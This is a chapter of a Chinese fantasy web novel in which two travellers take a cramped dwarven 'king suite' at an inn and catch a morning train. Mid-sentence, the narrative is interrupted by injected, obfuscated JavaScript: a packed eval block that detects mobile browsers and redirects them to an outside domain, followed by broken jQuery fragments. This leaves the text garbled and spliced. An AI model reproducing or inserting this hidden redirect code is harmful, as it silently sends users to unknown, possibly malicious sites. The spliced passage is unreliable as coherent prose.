47. 国王套房

作品:《该死居然是福瑞控![西幻]

    提出了需求,也说定了交付时间,好像就没有多少叨扰图库斯的理由了。与其用无聊地寒暄浪费时间,还不如早点出发去霍特林呢。


    啊,来都来了,顺便问问去那儿的路线好了。


    “我想想。”上了年纪的矮人工匠扶正了自己的眼镜,“没记错的话,从沃伦尼到霍特林的火车一天只有一班,具体的发车时间我忘记了,反正一定是在早上。你们今天是赶不及了。这会儿天都快黑了”


    图库斯送上了这个稍稍让人有点失望的消息。好在希洛的心态依然平和,多耽误一个晚上对她来说也算不上是什么麻烦的事情。


    就是又得花心思去想今晚在什么地方过夜了。麻烦。


    想了想,希洛决定向图库斯投去暗示的目光。而矮人工匠明明都已经接收到了她目光中发出的讯息,却偷摸摸地移开了目光,看着真叫人心寒。没办法,她只能直说了。


    “我们能在你家里过夜吗?”


    “这个嘛……”图库斯转而开始擦眼镜,“虽然我也很想热情地请你们留在我这儿睡觉,但我家最后一间客房腾给我徒弟睡了,所以不行。这样好了,你们要不往南边走走,我记得那儿有家小旅馆。”


    “……行吧。”


    主动提出了留宿的建议居然还要被当面否决,这种事想来多少有点丢人,还好在场的里昂并不会为此嘲笑她。


    既然都要住旅馆,就实在不想下榻在郊外了——火车站在中心城区,他们谁都不想大清早地赶去火车站。


    做好了决定,希洛不再耽搁,付完本次的加工费之后(实在不是一笔小数目),匆匆忙忙带着里昂走了。这次她可没有再带错方向,勤勤恳恳地照着终端机上显示的地图步入了中心城区的范围内。


    尽管在路上没有耽搁多少时间,但到达沃伦尼尔最热闹的这片城区时,所有繁盛的或是闹腾的元素全都伴随着夜幕降临而平息下来。


    “矮人其实和植物差不多。”走在黑漆漆只有路灯亮起的街头,希洛小声嘀咕着。


    里昂没听懂这话的意思:“为什么这么说?”


    “他们天一亮就醒了,天一黑就停止劳作,难道不像是只有被太阳照耀着才能汲取到用以行动的养分的植物吗?”


    “唔——”


    里昂的想象力自说自话地开始发挥作用,描绘出了一株裹紧叶片的绿色植物,沐浴着阳光的叶片缓缓打开,包裹在里头的是一朵活力四射的矮人。


    嗯,有点好笑。


    于是里昂真的笑出了声,然后就被从某位矮人家里飘出的一句“大晚上的吵死人了!”给堵住了嘴。


    总之现状就是这样了。明明还没到后半夜,沃伦尼尔却已经早早地入眠,里昂心心念念的空中列车也早已停运,只留下漆黑的轨道在头顶上纵横交错,几乎要与夜空融为一体。


    走过了两座桥,又穿过了五条街,睡意朦胧的中心城区里终于出现了一块闪亮的灯牌,正巧还是他们费心找寻的旅馆的招牌。推门进去,前台的矮人接待员毫不意外地正在打盹,希洛和里昂耐心地等待了十五分钟,接待员的梦境才短暂地迎来终点,揉揉大鼻子问他们有什么需要帮忙的。


    “呃……”希洛挠挠头,“我们需要在这里过夜。”


    除此之外应该也没有什么理由能够驱使两个人类在深夜来到旅馆了吧。


    接待员看起来还是一副睡眼惺忪的样子,“好好好”地应着,在登记册上寻找着合适的空房,只是看了好半天,他都没有给出答复。


    “没有空房了吗?”里昂问。


    如果真是这样可就太糟了,希洛八成会说“我们去火车站的长椅上睡觉吧”——这种事以前也不是没有过。


    他倒也不是嫌弃火车站的长椅,只是能有床睡的话,干嘛非要委屈自己呢。


    “倒也不是。”这么说着的矮人接待员,表情却显得更加为难了,“是这样的……目前我们店里的异种族专用客房已经全部订光了,只有普通房间还空着。对于两位人类大人来说,可能会稍——微有那么一点狭窄。”


    当他说出这句拖长的“稍——微”时,还习惯性地做出了一个捏合手指的动作,仿佛尺寸上的不合适当真只有那么一丁点而已。


    里昂懵懵懂懂。不能怪他见识少,这也是他第一次来沃伦尼尔。而希洛已经开始轻轻咋舌了。


    “只能住矮人的房间了吗?也行吧。但你得给我们安排国王套间。”希洛板起面孔,“顺便提供早起唤醒服务。”


    “没问题!没问题!”


    无论是她的要求还是附加地服务,对于矮人接待员来说都是小问题。他脸上为难的表情一下子就消失无踪了,动动手飞快地就摸出了两间房的钥匙,一路带着希洛和里昂去往国王套间。


    既然是国王套间,当然得是宽敞又豪华才行。希洛对后者没有异议,也觉得对于矮人来说,这里担得起“宽敞”一词。


    但很可惜,她不是矮人。


    对于一个身高一百七十五厘米的人类来说,宽度一米四长度一米六的双人床实在是显得很狭窄,一躺下,小腿就只能搁在床边了,实在不自在。滚了一圈金边的小餐桌漂亮且矮,要弓着后背才能好好使用。希洛委屈巴巴地在上面吃完了自己的晚餐,一起身,总觉得盆骨像是被箍住了,低头一看才发现自己卡在了椅子里,多少有点尴尬。


    费劲地把椅子拔出来,重新摆好,余光忽然瞥见到了一个人影,吓得她浑身一颤。原来只是镜面花瓶倒映出的模糊的自己。


    明明都已经把这间套房里的每一面镜子都盖住了,没想到还是要在不经意之间看到镜子里的自己,这种事想想都叫人觉得郁闷。希洛脱下外套,盖住了花瓶。


    这下应该就没有任何死角了吧?这么想着的她又在套间里走了一圈,把每个角落都打量了一遍,甚至连水晶吊灯上会映出倒影的坠饰也仔仔细细地观察了一遍,直到确信不会再在此处看


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15827368|172385||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    到任何人类形象之后,她才安心地倒回到了床上,缩成一团,并不安稳地睡着了。


    第一缕日光刚落在地面上,房门就被敲响了,一连串的响声听得人难免心情烦躁。希洛一下子从床上弹了起来,混混沌沌的大脑花了整十秒钟才梳理好今天要做的事情。


    今天要搭火车去霍特林,找到三条双头蛇的蛇皮。然后……


    然后回卢恩岛,先拜访师傅,请他帮忙搞到狼人的爪子。


    再之后的安排嘛,完全没想好,也完全想不到,就暂且先不想了吧。


    赶紧换好衣服背上行李,她差点习惯性地把新刀挂在背上,真这么做了才想起来自己的新重剑根本还没锻造好,心情难免地低落了一下,也难怪里昂一见到她就猜她是不是昨晚上没睡好。


    “算是吧。”


    反正昨晚没睡好也确实是事实没错。


    里昂双手合十:“希望你没有做噩梦。”


    “没有。”希洛拍开他合拢的双手,“别做这种动作。”


    “哦?好。”


    虽然搞不懂为什么,但既然希洛都这么说了,他当然会乖乖听话的。


    早早睡去的沃伦尼尔早早地醒来了。空中列车从头顶驶过,呼啸着风声,各个店铺也开张了,热闹得就像是圣特拉尔的午后。


    毕竟是繁闹的城市,在沃伦尼尔总能看到几个人类和兽人,还有精灵开设的魔法小铺。随便找了家魔法小铺,给终端机充满魔力,便可以出发去火车站了。他们运气好,昨夜留宿的旅馆恰好就在火车站附近,不用走多少路就能听到火车驶过铁轨时轰隆隆的声响了。


    明明是大好事一桩,里昂看起来却很沮丧。


    “还以为能够搭空中列车来火车站的……完全没有机会啊。”


    他一边说一边还在叹气。


    对于里昂的这份落寞,希洛一点也没办法感同身受。


    “你很中意空中列车吗?其实那也没什么有趣的,就是……”


    “啊!”里昂急匆匆地要去捂她的嘴,“你坐过是吗?你别说你别说!你的第一印象会毁掉我未来搭乘空中列车的体验感的!”


    “体验感……”


    那真的只是很普通的列车而已啊,非要说的话,就是行驶在半空中的火车而已。车厢也颇具矮人风格——也就是说,又窄又小又矮的,比起新奇感,更多的是缩手缩脚的不适。


    但既然里昂都这么说了,希洛也就不吱声了,默默听里昂念叨着等眼下的事情忙完之后一定要再来沃伦尼尔一趟,顺便在售票窗口买好了火车票。


    无需等待多久,火车准点进站。上车,落座,火车带着他们远离矮人的都市,朝着乡野之间而去。里昂望着窗外的一切,试着从中找到熟悉的影子,但无论什么,看起来都好像带着未曾见过的陌生感。他的心脏跳得很快,或许是激动感在作祟吧。


    他忽然想到了一句俚语。


    “家,甜蜜的家。”